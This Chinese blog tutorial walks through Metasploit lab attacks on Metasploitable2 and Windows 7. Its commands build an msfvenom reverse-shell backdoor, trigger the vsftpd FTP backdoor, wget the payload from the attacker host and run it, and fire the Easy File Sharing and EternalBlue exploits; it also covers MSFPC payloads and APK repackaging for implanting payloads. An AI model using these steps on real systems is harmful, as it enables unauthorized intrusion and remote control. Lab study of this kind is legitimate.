黑客玩具入门——5、继续Metasploit
1、利用FTP漏洞并植入后门
实验靶机:Metasploitable2。
实践:
- 使用nmap扫描目标靶机
- nmap -sV xxx.xxx.xxx.xxx(目标ip)
- 生成linux系统后门
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx(主控端ip) LPORT=5555 -f elf -o /home/xxxx(用户名)/backdoor.elf
- 使用Apache服务在目标主机上下载后门
- sudo service apache2 start
- sudo cp home/xxxx(用户名)/backdoor.elf /var/www/html/
- 在主控端浏览器打开apache服务的ip地址,然后右键elf文件,选择Copy Link Location。
- 手工激活ftp后门。登录名:user:)。密码:pass
- 在主控端命令行输入:ftp xxx.xxx.xxx.xxx(靶机ip)。
- 输入登录名密码即可。
- 可以通过:nc xxx.xxx.xxx.xxx(靶机ip)。尝试判断是否启用成功。
- 然后在nc的命令行中执行下面的命令,这个地址就是你之前右键复制的那个地址。
- wget http://192.168.10.129/backdoor.elf。
- 然后可以通过 cd / --> ls命令。看有没有这个文件。
- 然后,启用主控端。打开Metasploit,就跟之前一样。
- use exploit/multi/handler
- set payload linux/x86/meterpreter/reverse_tcp
- set lhost xxx.xxx.xxx.xxx(主控端ip)
- set lport 5555
- run
- 在目标主机上运行后门。以下命令在nc的命令行中操作:
- ./backdoor.elf。你会发现权限不足。
- chmod 7777 ./backdoor.elf。
- 然后再执行就可以了:./backdoor.elf。
- 然后,你就可以在meterpreter中为所欲为了。
2、常用攻击软件
由于Windows7使用了比较安全的机制,所以入侵win7远比入侵Windows xp要难得多。虽然系统本身很安全,但是我们不可能只安装一个系统,就什么都没有了,系统内我们还会安装很多软件,我们就可以从这些应用软件入手,去寻找他们的漏洞,借助这些软件做跳板,去入侵系统。
之前我们使用的是python脚本去攻击Easy File Sharing软件,使软件卡死。并成功在目标计算机上打开了计算器,这回我们使用Metasploit来攻击这个应用程序。
实验靶机:Windows7。
实践:
- search easyfilesharing。
- use exploit/windows/http/easyfilesharing_seh。
- set rhost xxx.xxx.xxx.xxx(目标ip)。
- set lport 6666。
- run。
- execute -f calc.exe。打开计算器。
3、攻击Windows7系统蓝屏
实验靶机:Windows7。
实践:
- search ms17-010。
- use exploit/windows/smb/ms17_010_eternalblue。
- set rhost xxx.xxx.xxx.xxx(目标ip)。
- set lport 6666。
- set payload windows/meterpreter/reverse_tcp。
- run。
- 然后Windows就蓝屏了。
4、漏洞利用工具集:MSFPC
生成payload的默认工具是MSFvenom,这是一个独立于Metasploit的payload生成器及编辑器。虽然它是一个非常强的payload生成神器,但是对于一个新手来说,可能难以在短时间内熟悉其操作。即使在进程最初的了解之后,生成一个基本的payload也需要输入相当多的内容。
MSFPC,或者说是MSFvenom Payload生成器,其实是一个基于MSFvenom的payload生成器,它简化了基本的有效载荷创建过程,用户使用MSFPC可以尽可能简单的创建Payload。
使用方法:
- 漏洞利用工具集 --> msf payload creator --> 打开他。
- sudo msfpc windows xxx.xxx.xxx.xxx(当前主机ip) 6666。
- 然后会生成这么多东西:
- 其实就是把我们之前通过手动配置的东西都自动生成了。包括可执行文件、命令脚本等。我们看下如何来使用这些东西
- sudo service apache2 start。
- 跟之前一样,把刚才生成的可执行文件复制到Apache目录下。这里不写了。
- msfconsole -q -r [上面生成的那个.rc文件地址]
- 查看session
- 使用session。
- 成功!
5、Payload 介绍
病毒通常会做一些有害的或者恶意的动作。在病毒代码中实现这个功能的部分叫做“有效载荷(Payload)”。Payload可以实现任何运行在受害者环境中的程序所能做的事情。并且能够执行动作包括破坏文件、删除文件、向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
Payloads模块,也叫有效载荷或有效负载,也就是我们常说的shellcode。在MSF中为我们提供了大量的Payloads。我们可以再MSF中通过show payloads命令查看。
payloads模块的命名规则
操作系统/类型/模块名称:windows/shell/bind_tcp。
- shell_find_taf:在一个已建立的链接上创建一个shell
- shell_reverse_tcp:反向链接到攻击者主机并创建一个shell
- bind_tcp:监听一个tcp链接。
- reverse_tcp:反向建立tcp链接。
- add_user:创建一个新用户并添加到管理组。
payloads模块等级
等级代表好用程度,一般分为以下几个等级:
- normal:正常
- excellent:优秀
- great:极好
- good:好
- average:一般、平均
- manual:手动
查看payloads下的某个模块的详细信息
- info [模块名]
- info windows/shell/bind_tcp
6、apk文件的反编译
1)什么是逆向工程?反编译?
就是将已有的APP程序,反向操作,方便我们查看里面的原始文件,因为我们平时拿到的APP程序都是经过加密处理的。
2)反编译有什么用?
可以用来分析APP,比如获取IP地址。将payload植入其他APP等等。
3)APK反编译软件——apktool
- 反编译apk文件
- apktool d xxx.apk
- 将反编译后的文件重新打包
- apktool b xxx.apk
黑客玩具入门——5、继续Metasploit的更多相关文章
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- 【Sharing】如何成为一名黑客
[声明]此文为转载,只为收藏. 从小到大听说了无数关于“电脑黑客”的故事,比如XXX入侵美国五角大楼,再比如前几年的“熊猫烧香”病毒,这些故事的主角都被我们的媒体称之为“黑客”.其实这些人,更大程度上 ...
- 黑客白皮书:如何成为一名黑客(附FAQ)
内容一览 为什么会有这份文档? 什么是黑客? 黑客应有的态度 黑客的基本技能 黑客文化中的地位 黑客和书呆子(Nerd)的联系 风格的意义 其它资源 FAQ(常问问题解答) 作为Jargon Fi ...
- 接口自动化测试的"开胃小菜"---简单黑客攻击手段
Web应用系统的小安全漏洞及相应的攻击方式 接口自动化测试的"开胃小菜" 1 写作目的 本文讲述一个简单的利用WebAPI来进行一次基本没有破坏力的“黑客”行为. 主要目的如下 ...
- 3000本IT书籍下载地址
http://www.shouce.ren/post/d/id/112300 黑客攻防实战入门与提高.pdfhttp://www.shouce.ren/post/d/id/112299 黑 ...
- [转]据说200G网盘资料
来源:HACK学习呀 2015cracer入侵入门到精通视频教程 点我查看 trf3 一笔√带过入侵教程 点我查看 ypan [复仇者]新手入门系列(7套) 点我查看 g1tb 菜鸟入门,做的确实不错 ...
- 200G网盘资源分享
今日偶得大量网盘资源,遂写一博文以分享! 来源:HACK学习呀,微信公众号:HACK学习呀 文件名 链接 提取密码 2015cracer入侵入门到精通视频教程 点我查看 trf3 一笔√带过入侵教程 ...
- ApacheCN Kali Linux 译文集 20211020 更新
Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...
- Atitit。木马病毒原理机密与概论以及防御
Atitit.木马病毒原理机密与概论以及防御 1. 定时截屏木马1 1.1. QQ聊天与微信聊天木马1 2. 文档木马1 3. 病毒木马的触发方式2 4. 远程木马2 5. 漏洞木马2 6. 病毒木马 ...
- Github Coding Developer Book For LiuGuiLinAndroid
Github Coding Developer Book For LiuGuiLinAndroid 收集了这么多开源的PDF,也许会帮到一些人,现在里面的书籍还不是很多,我也在一点点的上传,才上传不到 ...
随机推荐
- 连续下雨天,.net开发者如何预防流感
最近连续下了3天雨,天气变化大,很容易引发感冒咳嗽等疾病.对于.NET技术开发人员来说,如何保持身体健康,保证工作效率是一个很重要的问题. 首先,我们需要注意保持室内空气流通,避免长时间处于封闭的空间 ...
- 新一代开源流数据湖平台Apache Paimon入门实操-下
@ 目录 实战 写表 插入和覆盖数据 更新数据 删除数据 Merge Into 查询表 批量查询 时间旅行 批量增量查询 流式查询 时间旅行 ConsumerID 查询优化 系统表 表指定系统表 分区 ...
- [nginx]日志中记录自定义请求头
前言 假设在请求中自定义了一个请求头,key为"version",参数值为"1.2.3",需要在日志中捕获这个请求头. nginx日志配置 只需要用变量http ...
- [python]使用diagrams绘制架构图
简介 diagrams是python的一个第三方库,用于实现使用代码绘制架构图. 安装 依赖于 Graphviz,安装diagrams之前需要先安装 Graphviz(下载压缩包后,将bin目录添加到 ...
- CentOS系统修改yum源
看了一下自己之前写的文章,写的那叫一个垃圾.无地自容.作为一个菜鸡.现在不妨在博客上记录一下自己学习的记录,同时发表出来,也算作是对自己的勉励. 吾辈不孤,吾道不寡,诸君加油! 下面进入正题: Cen ...
- Feign的超时时间如何设置,我研究了4种情况
大家好,我是三友~~ 今天来聊一聊前段时间看到的一个面试题,也是在实际项目中需要考虑的一个问题,Feign的超时时间如何设置? Feign的超时时间设置方式并不固定,它取决于Feign在项目中是如何使 ...
- [ABC138F] Coincidence
2023-02-03 题目 题目传送门 翻译 翻译 难度&重要性(1~10):6 题目来源 AtCoder 题目算法 数位dp 解题思路 \(1.\) 当 \(2x\leq y\),有\(y- ...
- 系统内存管理:虚拟内存、内存分段与分页、页表缓存TLB以及Linux内存管理
虚拟内存 虚拟内存是一种操作系统提供的机制,用于将每个进程分配的独立的虚拟地址空间映射到实际的物理内存地址空间上.通过使用虚拟内存,操作系统可以有效地解决多个应用程序直接操作物理内存可能引发的冲突问题 ...
- Tarjan基础用法
\(\operatorname{Tarjan}\) 基础用法 目录 \(\operatorname{Tarjan}\) 基础用法 \(\operatorname{Tarjan}\) 求最近公共祖先 前 ...
- [python] 第一个爬虫, 爬妹子写真集图片
效果图 版本以及需要用到的第三方库 python 2.7 bs4 (安装命令: pip install bs4) - 代码 #!/usr/bin/env python #coding:UTF-8 #脚 ...